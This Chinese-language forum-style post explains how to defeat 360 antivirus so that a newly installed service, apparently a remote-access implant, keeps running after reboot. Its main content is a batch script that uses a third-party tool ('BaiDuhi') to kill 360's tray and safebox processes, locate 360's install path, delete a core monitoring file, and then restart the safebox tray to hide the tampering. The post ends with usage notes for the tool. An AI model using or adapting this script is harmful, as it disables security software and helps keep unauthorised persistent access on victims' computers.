随着360的升级,现在对于安装新的服务已经要提示了,如果按照下面的点了,
在重启之后安装的服务就会被删除,当然也就上不了线了!
如果按照别人说的写注册表启动或者复制到allusers启动文件夹里的话就更会提示….
解决方法:
通过结束360的进程方法是行不通的,在重新开启360之后同样会检测新安装的服务并提示!
况且360现在已经有了自我保护,用系统自带的taskkill和ntsd都结束不了的,我想也没几个人能结束掉360的进程…
所以通过下面的这个批处理可以做到:
if not exist 360tray.exe goto kyo2 BaiDuhi -l >BaiDuhi5.txt FINDSTR /i "360tray.exe safeboxTray.exe" BaiDuhi5.txt >BaiDuhi6.txt FOR /f "tokens=1" %%a in (BaiDuhi6.txt) do BaiDuhi -k %%a FINDSTR /i "360tray.exe" BaiDuhi6.txt >way.txt if exist safeboxTray.exe FINDSTR /i "safeboxTray.exe" BaiDuhi6.txt >box.txt FOR /f "tokens=3,*" %%a in (way.txt) do del "%%a %%b" if exist safeboxTray.exe FOR /f "tokens=3,*" %%a in (box.txt) do start "" "%%a %%b" :kyo2
上面这个批处理都看得懂吧:
第二句是列举进程 倒数第三句和第二句分别是获取360的路径并删除一个监控的核心文件,后面一句获取360的实时监控保险箱的路径并重新打开!
注意:BaiDuhi是一个结束进程的小软件
列举进程用法:BaiDuhi -l
结束指定进程用法:BaiDuhi -k 进程pid
用系统自带的tasklist虽然也可以列举进程,但是没有进程的路径:
用法:tasklist >1.txt 保存到1.txt里